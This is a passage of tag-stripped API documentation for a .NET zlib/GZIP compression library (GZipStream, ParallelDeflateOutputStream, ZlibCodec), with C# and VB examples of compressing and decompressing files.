DeflateStream.UncompressBuffer(byte[]) + GZipStream.UncompressString(byte[]) + ZlibStream.UncompressString(byte[]) + + + A buffer containing DEFLATE-compressed data. + + + The uncompressed string + + + + Uncompress a DEFLATE'd byte array into a byte array. + + + DeflateStream.CompressBuffer(byte[]) + DeflateStream.UncompressString(byte[]) + GZipStream.UncompressBuffer(byte[]) + ZlibStream.UncompressBuffer(byte[]) + + + A buffer containing data that has been compressed with DEFLATE. + + + The data in uncompressed form + + + + A class for compressing and decompressing GZIP streams. + + + + + The GZipStream is a Decorator on a + . It adds GZIP compression or decompression to any + stream. + + + + Like the System.IO.Compression.GZipStream in the .NET Base Class Library, the + Ionic.Zlib.GZipStream can compress while writing, or decompress while + reading, but not vice versa. The compression method used is GZIP, which is + documented in IETF RFC + 1952, "GZIP file format specification version 4.3". + + + A GZipStream can be used to decompress data (through Read()) or + to compress data (through Write()), but not both. + + + + If you wish to use the GZipStream to compress data, you must wrap it + around a write-able stream. As you call Write() on the GZipStream, the + data will be compressed into the GZIP format. If you want to decompress data, + you must wrap the GZipStream around a readable stream that contains an + IETF RFC 1952-compliant stream. The data will be decompressed as you call + Read() on the GZipStream. + + + + Though the GZIP format allows data from multiple files to be concatenated + together, this stream handles only a single segment of GZIP format, typically + representing a single file. + + + + This class is similar to and . + ZlibStream handles RFC1950-compliant streams. + handles RFC1951-compliant streams. This class handles RFC1952-compliant streams. + + + + + + + + + + The comment on the GZIP stream. + + + + + The GZIP format allows for each file to optionally have an associated + comment stored with the file. The comment is encoded with the ISO-8859-1 + code page. To include a comment in a GZIP stream you create, set this + property before calling Write() for the first time on the + GZipStream. + + + + When using GZipStream to decompress, you can retrieve this property + after the first call to Read(). If no comment has been set in the + GZIP bytestream, the Comment property will return null + (Nothing in VB). + + + + + + The FileName for the GZIP stream. + + + + + + The GZIP format optionally allows each file to have an associated + filename. When compressing data (through Write()), set this + FileName before calling Write() the first time on the GZipStream. + The actual filename is encoded into the GZIP bytestream with the + ISO-8859-1 code page, according to RFC 1952. It is the application's + responsibility to insure that the FileName can be encoded and decoded + correctly with this code page. + + + + When decompressing (through Read()), you can retrieve this value + any time after the first Read(). In the case where there was no filename + encoded into the GZIP bytestream, the property will return null (Nothing + in VB). + + + + + + The last modified time for the GZIP stream. + + + + GZIP allows the storage of a last modified time with each GZIP entry. + When compressing data, you can set this before the first call to + Write(). When decompressing, you can retrieve this value any time + after the first call to Read(). + + + + + The CRC on the GZIP stream. + + + This is used for internal error checking. You probably don't need to look at this property. + + + + + Create a GZipStream using the specified CompressionMode. + + + + + When mode is CompressionMode.Compress, the GZipStream will use the + default compression level. + + + + As noted in the class documentation, the CompressionMode (Compress + or Decompress) also establishes the "direction" of the stream. A + GZipStream with CompressionMode.Compress works only through + Write(). A GZipStream with + CompressionMode.Decompress works only through Read(). + + + + + + This example shows how to use a GZipStream to compress data. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(outputFile)) + { + using (Stream compressor = new GZipStream(raw, CompressionMode.Compress)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Dim outputFile As String = (fileToCompress & ".compressed") + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(outputFile) + Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + + + This example shows how to use a GZipStream to uncompress a file. + + private void GunZipFile(string filename) + { + if (!filename.EndsWith(".gz)) + throw new ArgumentException("filename"); + var DecompressedFile = filename.Substring(0,filename.Length-3); + byte[] working = new byte[WORKING_BUFFER_SIZE]; + int n= 1; + using (System.IO.Stream input = System.IO.File.OpenRead(filename)) + { + using (Stream decompressor= new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, true)) + { + using (var output = System.IO.File.Create(DecompressedFile)) + { + while (n !=0) + { + n= decompressor.Read(working, 0, working.Length); + if (n > 0) + { + output.Write(working, 0, n); + } + } + } + } + } + } + + + + Private Sub GunZipFile(ByVal filename as String) + If Not (filename.EndsWith(".gz)) Then + Throw New ArgumentException("filename") + End If + Dim DecompressedFile as String = filename.Substring(0,filename.Length-3) + Dim working(WORKING_BUFFER_SIZE) as Byte + Dim n As Integer = 1 + Using input As Stream = File.OpenRead(filename) + Using decompressor As Stream = new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, True) + Using output As Stream = File.Create(UncompressedFile) + Do + n= decompressor.Read(working, 0, working.Length) + If n > 0 Then + output.Write(working, 0, n) + End IF + Loop While (n > 0) + End Using + End Using + End Using + End Sub + + + + The stream which will be read or written. + Indicates whether the GZipStream will compress or decompress. + + + + Create a GZipStream using the specified CompressionMode and + the specified CompressionLevel. + + + + + The CompressionMode (Compress or Decompress) also establishes the + "direction" of the stream. A GZipStream with + CompressionMode.Compress works only through Write(). A + GZipStream with CompressionMode.Decompress works only + through Read(). + + + + + + + This example shows how to use a GZipStream to compress a file into a .gz file. + + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".gz")) + { + using (Stream compressor = new GZipStream(raw, + CompressionMode.Compress, + CompressionLevel.BestCompression)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".gz") + Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream to be read or written while deflating or inflating. + Indicates whether the GZipStream will compress or decompress. + A tuning knob to trade speed for effectiveness. + + + + Create a GZipStream using the specified CompressionMode, and + explicitly specify whether the stream should be left open after Deflation + or Inflation. + + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + memory stream that will be re-read after compressed data has been written + to it. Specify true for the parameter to leave + the stream open. + + + + The (Compress or Decompress) also + establishes the "direction" of the stream. A GZipStream with + CompressionMode.Compress works only through Write(). A GZipStream + with CompressionMode.Decompress works only through Read(). + + + + The GZipStream will use the default compression level. If you want + to specify the compression level, see . + + + + See the other overloads of this constructor for example code. + + + + + + The stream which will be read or written. This is called the "captive" + stream in other places in this documentation. + + + Indicates whether the GZipStream will compress or decompress. + + + + true if the application would like the base stream to remain open after + inflation/deflation. + + + + + Create a GZipStream using the specified CompressionMode and the + specified CompressionLevel, and explicitly specify whether the + stream should be left open after Deflation or Inflation. + + + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + memory stream that will be re-read after compressed data has been written + to it. Specify true for the parameter to + leave the stream open. + + + + As noted in the class documentation, the CompressionMode (Compress + or Decompress) also establishes the "direction" of the stream. A + GZipStream with CompressionMode.Compress works only through + Write(). A GZipStream with CompressionMode.Decompress works only + through Read(). + + + + + + This example shows how to use a GZipStream to compress data. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(outputFile)) + { + using (Stream compressor = new GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression, true)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Dim outputFile As String = (fileToCompress & ".compressed") + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(outputFile) + Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression, True) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream which will be read or written. + Indicates whether the GZipStream will compress or decompress. + true if the application would like the stream to remain open after inflation/deflation. + A tuning knob to trade speed for effectiveness. + + + + This property sets the flush behavior on the stream. + + + + + The size of the working buffer for the compression codec. + + + + + The working buffer is used for all stream operations. The default size is + 1024 bytes. The minimum size is 128 bytes. You may get better performance + with a larger buffer. Then again, you might not. You would have to test + it. + + + + Set this before the first call to Read() or Write() on the + stream. If you try to set it afterwards, it will throw. + + + + + Returns the total number of bytes input so far. + + + Returns the total number of bytes output so far. + + + + Dispose the stream. + + + + This may or may not result in a Close() call on the captive + stream. See the constructors that have a leaveOpen parameter + for more information. + + + This method may be invoked in two distinct scenarios. If disposing + == true, the method has been called directly or indirectly by a + user's code, for example via the public Dispose() method. In this + case, both managed and unmanaged resources can be referenced and + disposed. If disposing == false, the method has been called by the + runtime from inside the object finalizer and this method should not + reference other objects; in that case only unmanaged resources must + be referenced or disposed. + + + + indicates whether the Dispose method was invoked by user code. + + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the total bytes + written out, if used in writing, or the total bytes read in, if used in + reading. The count may refer to compressed bytes or uncompressed bytes, + depending on how you've used the stream. + + + + + Read and decompress data from the source stream. + + + + With a GZipStream, decompression is done through reading. + + + + + byte[] working = new byte[WORKING_BUFFER_SIZE]; + using (System.IO.Stream input = System.IO.File.OpenRead(_CompressedFile)) + { + using (Stream decompressor= new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, true)) + { + using (var output = System.IO.File.Create(_DecompressedFile)) + { + int n; + while ((n= decompressor.Read(working, 0, working.Length)) !=0) + { + output.Write(working, 0, n); + } + } + } + } + + + The buffer into which the decompressed data should be placed. + the offset within that data array to put the first byte read. + the number of bytes to read. + the number of bytes actually read + + + + Calling this method always throws a . + + irrelevant; it will always throw! + irrelevant; it will always throw! + irrelevant! + + + + Calling this method always throws a . + + irrelevant; this method will always throw! + + + + Write data to the stream. + + + + + If you wish to use the GZipStream to compress data while writing, + you can create a GZipStream with CompressionMode.Compress, and a + writable output stream. Then call Write() on that GZipStream, + providing uncompressed data as input. The data sent to the output stream + will be the compressed form of the data written. + + + + A GZipStream can be used for Read() or Write(), but not + both. Writing implies compression. Reading implies decompression. + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Compress a string into a byte array using GZip. + + + + Uncompress it with . + + + + + + + A string to compress. The string will first be encoded + using UTF8, then compressed. + + + The string in compressed form + + + + Compress a byte array into a new byte array using GZip. + + + + Uncompress it with . + + + + + + + A buffer to compress. + + + The data in compressed form + + + + Uncompress a GZip'ed byte array into a single string. + + + + + + + A buffer containing GZIP-compressed data. + + + The uncompressed string + + + + Uncompress a GZip'ed byte array into a byte array. + + + + + + + A buffer containing data that has been compressed with GZip. + + + The data in uncompressed form + + + + A class for compressing streams using the + Deflate algorithm with multiple threads. + + + + + This class performs DEFLATE compression through writing. For + more information on the Deflate algorithm, see IETF RFC 1951, + "DEFLATE Compressed Data Format Specification version 1.3." + + + + This class is similar to , except + that this class is for compression only, and this implementation uses an + approach that employs multiple worker threads to perform the DEFLATE. On + a multi-cpu or multi-core computer, the performance of this class can be + significantly higher than the single-threaded DeflateStream, particularly + for larger streams. How large? Anything over 10mb is a good candidate + for parallel compression. + + + + The tradeoff is that this class uses more memory and more CPU than the + vanilla DeflateStream, and also is less efficient as a compressor. For + large files the size of the compressed data stream can be less than 1% + larger than the size of a compressed data stream from the vanialla + DeflateStream. For smaller files the difference can be larger. The + difference will also be larger if you set the BufferSize to be lower than + the default value. Your mileage may vary. Finally, for small files, the + ParallelDeflateOutputStream can be much slower than the vanilla + DeflateStream, because of the overhead associated to using the thread + pool. + + + + + + + + Create a ParallelDeflateOutputStream. + + + + + This stream compresses data written into it via the DEFLATE + algorithm (see RFC 1951), and writes out the compressed byte stream. + + + + The instance will use the default compression level, the default + buffer sizes and the default number of threads and buffers per + thread. + + + + This class is similar to , + except that this implementation uses an approach that employs + multiple worker threads to perform the DEFLATE. On a multi-cpu or + multi-core computer, the performance of this class can be + significantly higher than the single-threaded DeflateStream, + particularly for larger streams. How large? Anything over 10mb is + a good candidate for parallel compression. + + + + + + + This example shows how to use a ParallelDeflateOutputStream to compress + data. It reads a file, compresses it, and writes the compressed data to + a second, output file. + + + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n= -1; + String outputFile = fileToCompress + ".compressed"; + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(outputFile)) + { + using (Stream compressor = new ParallelDeflateOutputStream(raw)) + { + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Dim outputFile As String = (fileToCompress & ".compressed") + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(outputFile) + Using compressor As Stream = New ParallelDeflateOutputStream(raw) + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream to which compressed data will be written. + + + + Create a ParallelDeflateOutputStream using the specified CompressionLevel. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + A tuning knob to trade speed for effectiveness. + + + + Create a ParallelDeflateOutputStream and specify whether to leave the captive stream open + when the ParallelDeflateOutputStream is closed. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + + true if the application would like the stream to remain open after inflation/deflation. + + + + + Create a ParallelDeflateOutputStream and specify whether to leave the captive stream open + when the ParallelDeflateOutputStream is closed. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + A tuning knob to trade speed for effectiveness. + + true if the application would like the stream to remain open after inflation/deflation. + + + + + Create a ParallelDeflateOutputStream using the specified + CompressionLevel and CompressionStrategy, and specifying whether to + leave the captive stream open when the ParallelDeflateOutputStream is + closed. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + A tuning knob to trade speed for effectiveness. + + By tweaking this parameter, you may be able to optimize the compression for + data with particular characteristics. + + + true if the application would like the stream to remain open after inflation/deflation. + + + + + The ZLIB strategy to be used during compression. + + + + + + The maximum number of buffer pairs to use. + + + + + This property sets an upper limit on the number of memory buffer + pairs to create. The implementation of this stream allocates + multiple buffers to facilitate parallel compression. As each buffer + fills up, this stream uses + ThreadPool.QueueUserWorkItem() + to compress those buffers in a background threadpool thread. After a + buffer is compressed, it is re-ordered and written to the output + stream. + + + + A higher number of buffer pairs enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + For each compression "task" that occurs in parallel, there are 2 + buffers allocated: one for input and one for output. This property + sets a limit for the number of pairs. The total amount of storage + space allocated for buffering will then be (N*S*2), where N is the + number of buffer pairs, S is the size of each buffer (). By default, DotNetZip allocates 4 buffer + pairs per CPU core, so if your machine has 4 cores, and you retain + the default buffer size of 128k, then the + ParallelDeflateOutputStream will use 4 * 4 * 2 * 128kb of buffer + memory in total, or 4mb, in blocks of 128kb. If you then set this + property to 8, then the number will be 8 * 2 * 128kb of buffer + memory, or 2mb. + + + + CPU utilization will also go up with additional buffers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + This property is not the number of buffer pairs to use; it is an + upper limit. An illustration: Suppose you have an application that + uses the default value of this property (which is 16), and it runs + on a machine with 2 CPU cores. In that case, DotNetZip will allocate + 4 buffer pairs per CPU core, for a total of 8 pairs. The upper + limit specified by this property has no effect. + + + + The application can set this value at any time, but it is effective + only before the first call to Write(), which is when the buffers are + allocated. + + + + + + The size of the buffers used by the compressor threads. + + + + + The default buffer size is 128k. The application can set this value + at any time, but it is effective only before the first Write(). + + + + Larger buffer sizes implies larger memory consumption but allows + more efficient compression. Using smaller buffer sizes consumes less + memory but may result in less effective compression. For example, + using the default buffer size of 128k, the compression delivered is + within 1% of the compression delivered by the single-threaded . On the other hand, using a + BufferSize of 8k can result in a compressed data stream that is 5% + larger than that delivered by the single-threaded + DeflateStream. Excessively small buffer sizes can also cause + the speed of the ParallelDeflateOutputStream to drop, because of + larger thread scheduling overhead dealing with many many small + buffers. + + + + The total amount of storage space allocated for buffering will be + (N*S*2), where N is the number of buffer pairs, and S is the size of + each buffer (this property). There are 2 buffers used by the + compressor, one for input and one for output. By default, DotNetZip + allocates 4 buffer pairs per CPU core, so if your machine has 4 + cores, then the number of buffer pairs used will be 16. If you + accept the default value of this property, 128k, then the + ParallelDeflateOutputStream will use 16 * 2 * 128kb of buffer memory + in total, or 4mb, in blocks of 128kb. If you set this property to + 64kb, then the number will be 16 * 2 * 64kb of buffer memory, or + 2mb. + + + + + + + The CRC32 for the data that was written out, prior to compression. + + + This value is meaningful only after a call to Close(). + + + + + The total number of uncompressed bytes processed by the ParallelDeflateOutputStream. + + + This value is meaningful only after a call to Close(). + + + + + Write data to the stream. + + + + + + To use the ParallelDeflateOutputStream to compress data, create a + ParallelDeflateOutputStream with CompressionMode.Compress, passing a + writable output stream. Then call Write() on that + ParallelDeflateOutputStream, providing uncompressed data as input. The + data sent to the output stream will be the compressed form of the data + written. + + + + To decompress data, use the class. + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Flush the stream. + + + + + Close the stream. + + + You must call Close on the stream to guarantee that all of the data written in has + been compressed, and the compressed data has been written out. + + + + Dispose the object + + + Because ParallelDeflateOutputStream is IDisposable, the + application must call this method when finished using the instance. + + + This method is generally called implicitly upon exit from + a using scope in C# (Using in VB). + + + + + The Dispose method + + indicates whether the Dispose method was invoked by user code. + + + + + Resets the stream for use with another stream. + + + Because the ParallelDeflateOutputStream is expensive to create, it + has been designed so that it can be recycled and re-used. You have + to call Close() on the stream first, then you can call Reset() on + it, to use it again on another stream. + + + + The new output stream for this era. + + + + + ParallelDeflateOutputStream deflater = null; + foreach (var inputFile in listOfFiles) + { + string outputFile = inputFile + ".compressed"; + using (System.IO.Stream input = System.IO.File.OpenRead(inputFile)) + { + using (var outStream = System.IO.File.Create(outputFile)) + { + if (deflater == null) + deflater = new ParallelDeflateOutputStream(outStream, + CompressionLevel.Best, + CompressionStrategy.Default, + true); + deflater.Reset(outStream); + + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + deflater.Write(buffer, 0, n); + } + } + } + } + + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream supports Read operations. + + + Always returns false. + + + + + Indicates whether the stream supports Write operations. + + + Returns true if the provided stream is writable. + + + + + Reading this property always throws a NotSupportedException. + + + + + Returns the current position of the output stream. + + + + Because the output gets written by a background thread, + the value may change asynchronously. Setting this + property always throws a NotSupportedException. + + + + + + This method always throws a NotSupportedException. + + + The buffer into which data would be read, IF THIS METHOD + ACTUALLY DID ANYTHING. + + + The offset within that data array at which to insert the + data that is read, IF THIS METHOD ACTUALLY DID + ANYTHING. + + + The number of bytes to write, IF THIS METHOD ACTUALLY DID + ANYTHING. + + nothing. + + + + This method always throws a NotSupportedException. + + + The offset to seek to.... + IF THIS METHOD ACTUALLY DID ANYTHING. + + + The reference specifying how to apply the offset.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + nothing. It always throws. + + + + This method always throws a NotSupportedException. + + + The new value for the stream length.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + + + + Map from a distance to a distance code. + + + No side effects. _dist_code[256] and _dist_code[257] are never used. + + + + + Describes how to flush the current deflate operation. + + + The different FlushType values are useful when using a Deflate in a streaming application. + + + + No flush at all. + + + Closes the current block, but doesn't flush it to + the output. Used internally only in hypothetical + scenarios. This was supposed to be removed by Zlib, but it is + still in use in some edge cases. + + + + + Use this during compression to specify that all pending output should be + flushed to the output buffer and the output should be aligned on a byte + boundary. You might use this in a streaming communication scenario, so that + the decompressor can get all input data available so far. When using this + with a ZlibCodec, AvailableBytesIn will be zero after the call if + enough output space has been provided before the call. Flushing will + degrade compression and so it should be used only when necessary. + + + + + Use this during compression to specify that all output should be flushed, as + with FlushType.Sync, but also, the compression state should be reset + so that decompression can restart from this point if previous compressed + data has been damaged or if random access is desired. Using + FlushType.Full too often can significantly degrade the compression. + + + + Signals the end of the compression/decompression stream. + + + + The compression level to be used when using a DeflateStream or ZlibStream with CompressionMode.Compress. + + + + + None means that the data will be simply stored, with no change at all. + If you are producing ZIPs for use on Mac OSX, be aware that archives produced with CompressionLevel.None + cannot be opened with the default zip reader. Use a different CompressionLevel. + + + + + Same as None. + + + + + The fastest but least effective compression. + + + + + A synonym for BestSpeed. + + + + + A little slower, but better, than level 1. + + + + + A little slower, but better, than level 2. + + + + + A little slower, but better, than level 3. + + + + + A little slower than level 4, but with better compression. + + + + + The default compression level, with a good balance of speed and compression efficiency. + + + + + A synonym for Default. + + + + + Pretty good compression! + + + + + Better compression than Level7! + + + + + The "best" compression, where best means greatest reduction in size of the input data stream. + This is also the slowest compression. + + + + + A synonym for BestCompression. + + + + + Describes options for how the compression algorithm is executed. Different strategies + work better on different sorts of data. The strategy parameter can affect the compression + ratio and the speed of compression but not the correctness of the compresssion. + + + + + The default strategy is probably the best for normal data. + + + + + The Filtered strategy is intended to be used most effectively with data produced by a + filter or predictor. By this definition, filtered data consists mostly of small + values with a somewhat random distribution. In this case, the compression algorithm + is tuned to compress them better. The effect of Filtered is to force more Huffman + coding and less string matching; it is a half-step between Default and HuffmanOnly. + + + + + Using HuffmanOnly will force the compressor to do Huffman encoding only, with no + string matching. + + + + + An enum to specify the direction of transcoding - whether to compress or decompress. + + + + + Used to specify that the stream should compress the data. + + + + + Used to specify that the stream should decompress the data. + + + + + A general purpose exception class for exceptions in the Zlib library. + + + + + The ZlibException class captures exception information generated + by the Zlib library. + + + + + This ctor collects a message attached to the exception. + + the message for the exception. + + + + Performs an unsigned bitwise right shift with the specified number + + Number to operate on + Ammount of bits to shift + The resulting number from the shift operation + + + + Reads a number of characters from the current source TextReader and writes + the data to the target array at the specified index. + + + The source TextReader to read from + Contains the array of characteres read from the source TextReader. + The starting index of the target array. + The maximum number of characters to read from the source TextReader. + + + The number of characters read. The number will be less than or equal to + count depending on the data available in the source TextReader. Returns -1 + if the end of the stream is reached. + + + + + Computes an Adler-32 checksum. + + + The Adler checksum is similar to a CRC checksum, but faster to compute, though less + reliable. It is used in producing RFC1950 compressed streams. The Adler checksum + is a required part of the "ZLIB" standard. Applications will almost never need to + use this class directly. + + + + + + + Calculates the Adler32 checksum. + + + + This is used within ZLIB. You probably don't need to use this directly. + + + + To compute an Adler32 checksum on a byte array: + + var adler = Adler.Adler32(0, null, 0, 0); + adler = Adler.Adler32(adler, buffer, index, length); + + + + + + Encoder and Decoder for ZLIB and DEFLATE (IETF RFC1950 and RFC1951). + + + + This class compresses and decompresses data according to the Deflate algorithm + and optionally, the ZLIB format, as documented in RFC 1950 - ZLIB and RFC 1951 - DEFLATE. + + + + + The buffer from which data is taken. + + + + + An index into the InputBuffer array, indicating where to start reading. + + + + + The number of bytes available in the InputBuffer, starting at NextIn. + + + Generally you should set this to InputBuffer.Length before the first Inflate() or Deflate() call. + The class will update this number as calls to Inflate/Deflate are made. + + + + + Total number of bytes read so far, through all calls to Inflate()/Deflate(). + + + + + Buffer to store output data. + + + + + An index into the OutputBuffer array, indicating where to start writing. + + + + + The number of bytes available in the OutputBuffer, starting at NextOut. + + + Generally you should set this to OutputBuffer.Length before the first Inflate() or Deflate() call. + The class will update this number as calls to Inflate/Deflate are made. + + + + + Total number of bytes written to the output so far, through all calls to Inflate()/Deflate(). + + + + + used for diagnostics, when something goes wrong! + + + + + The compression level to use in this codec. Useful only in compression mode. + + + + + The number of Window Bits to use. + + + This gauges the size of the sliding window, and hence the + compression effectiveness as well as memory consumption. It's best to just leave this + setting alone if you don't know what it is. The maximum value is 15 bits, which implies + a 32k window. + + + + + The compression strategy to use. + + + This is only effective in compression. The theory offered by ZLIB is that different + strategies could potentially produce significant differences in compression behavior + for different data sets. Unfortunately I don't have any good recommendations for how + to set it differently. When I tested changing the strategy I got minimally different + compression performance. It's best to leave this property alone if you don't have a + good feel for it. Or, you may want to produce a test harness that runs through the + different strategy options and evaluates them on different file types. If you do that, + let me know your results. + + + + + The Adler32 checksum on the data transferred through the codec so far. You probably don't need to look at this. + + + + + Create a ZlibCodec. + + + If you use this default constructor, you will later have to explicitly call + InitializeInflate() or InitializeDeflate() before using the ZlibCodec to compress + or decompress. + + + + + Create a ZlibCodec that either compresses or decompresses. + + + Indicates whether the codec should compress (deflate) or decompress (inflate). + + + + + Initialize the inflation state. + + + It is not necessary to call this before using the ZlibCodec to inflate data; + It is implicitly called when you call the constructor. + + Z_OK if everything goes well. + + + + Initialize the inflation state with an explicit flag to + govern the handling of RFC1950 header bytes. + + + + By default, the ZLIB header defined in RFC 1950 is expected. If + you want to read a zlib stream you should specify true for + expectRfc1950Header. If you have a deflate stream, you will want to specify + false. It is only necessary to invoke this initializer explicitly if you + want to specify false. + + + whether to expect an RFC1950 header byte + pair when reading the stream of data to be inflated. + + Z_OK if everything goes well. + + + + Initialize the ZlibCodec for inflation, with the specified number of window bits. + + The number of window bits to use. If you need to ask what that is, + then you shouldn't be calling this initializer. + Z_OK if all goes well. + + + + Initialize the inflation state with an explicit flag to govern the handling of + RFC1950 header bytes. + + + + If you want to read a zlib stream you should specify true for + expectRfc1950Header. In this case, the library will expect to find a ZLIB + header, as defined in RFC + 1950, in the compressed stream. If you will be reading a DEFLATE or + GZIP stream, which does not have such a header, you will want to specify + false. + + + whether to expect an RFC1950 header byte pair when reading + the stream of data to be inflated. + The number of window bits to use. If you need to ask what that is, + then you shouldn't be calling this initializer. + Z_OK if everything goes well. + + + + Inflate the data in the InputBuffer, placing the result in the OutputBuffer. + + + You must have set InputBuffer and OutputBuffer, NextIn and NextOut, and AvailableBytesIn and + AvailableBytesOut before calling this method. + + + + private void InflateBuffer() + { + int bufferSize = 1024; + byte[] buffer = new byte[bufferSize]; + ZlibCodec decompressor = new ZlibCodec(); + + Console.WriteLine("\n============================================"); + Console.WriteLine("Size of Buffer to Inflate: {0} bytes.", CompressedBytes.Length); + MemoryStream ms = new MemoryStream(DecompressedBytes); + + int rc = decompressor.InitializeInflate(); + + decompressor.InputBuffer = CompressedBytes; + decompressor.NextIn = 0; + decompressor.AvailableBytesIn = CompressedBytes.Length; + + decompressor.OutputBuffer = buffer; + + // pass 1: inflate + do + { + decompressor.NextOut = 0; + decompressor.AvailableBytesOut = buffer.Length; + rc = decompressor.Inflate(FlushType.None); + + if (rc != ZlibConstants.Z_OK && rc != ZlibConstants.Z_STREAM_END) + throw new Exception("inflating: " + decompressor.Message); + + ms.Write(decompressor.OutputBuffer, 0, buffer.Length - decompressor.AvailableBytesOut); + } + while (decompressor.AvailableBytesIn > 0 || decompressor.AvailableBytesOut == 0); + + // pass 2: finish and flush + do + { + decompressor.NextOut = 0; + decompressor.AvailableBytesOut = buffer.Length; + rc = decompressor.Inflate(FlushType.Finish); + + if (rc != ZlibConstants.Z_STREAM_END && rc != ZlibConstants.Z_OK) + throw new Exception("inflating: " + decompressor.Message); + + if (buffer.Length - decompressor.AvailableBytesOut > 0) + ms.Write(buffer, 0, buffer.Length - decompressor.AvailableBytesOut); + } + while (decompressor.AvailableBytesIn > 0 || decompressor.AvailableBytesOut == 0); + + decompressor.EndInflate(); + } + + + + The flush to use when inflating. + Z_OK if everything goes well. + + + + Ends an inflation session. + + + Call this after successively calling Inflate(). This will cause all buffers to be flushed. + After calling this you cannot call Inflate() without a intervening call to one of the + InitializeInflate() overloads. + + Z_OK if everything goes well. + + + + I don't know what this does! + + Z_OK if everything goes well. + + + + Initialize the ZlibCodec for deflation operation. + + + The codec will use the MAX window bits and the default level of compression. + + + + int bufferSize = 40000; + byte[] CompressedBytes = new byte[bufferSize]; + byte[] DecompressedBytes = new byte[bufferSize]; + + ZlibCodec compressor = new ZlibCodec(); + + compressor.InitializeDeflate(CompressionLevel.Default); + + compressor.InputBuffer = System.Text.ASCIIEncoding.ASCII.GetBytes(TextToCompress); + compressor.NextIn = 0; + compressor.AvailableBytesIn = compressor.InputBuffer.Length; + + compressor.OutputBuffer = CompressedBytes; + compressor.NextOut = 0; + compressor.AvailableBytesOut = CompressedBytes.Length; + + while (compressor.TotalBytesIn != TextToCompress.Length && compressor.TotalBytesOut < bufferSize) + { + compressor.Deflate(FlushType.None); + } + + while (true) + { + int rc= compressor.Deflate(FlushType.Finish); + if (rc == ZlibConstants.Z_STREAM_END) break; + } + + compressor.EndDeflate(); + + + + Z_OK if all goes well. You generally don't need to check the return code. + + + + Initialize the ZlibCodec for deflation operation, using the specified 